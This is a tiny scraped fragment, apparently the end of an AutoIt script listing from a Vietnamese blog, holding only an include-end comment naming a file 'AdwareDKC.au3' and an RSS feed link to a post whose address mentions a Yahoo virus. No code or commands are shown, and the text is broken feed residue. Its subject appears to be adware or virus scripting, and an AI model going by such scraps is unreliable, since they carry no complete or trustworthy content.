; <AUT2EXE INCLUDE-END: D:AutoITProjectsAdwareDKC.au3>
; -----------------------
]]> http://blog.thuongtin.net/2008/10/28/autoit-doan-virus-yahoo-1-thoi/feed/ 0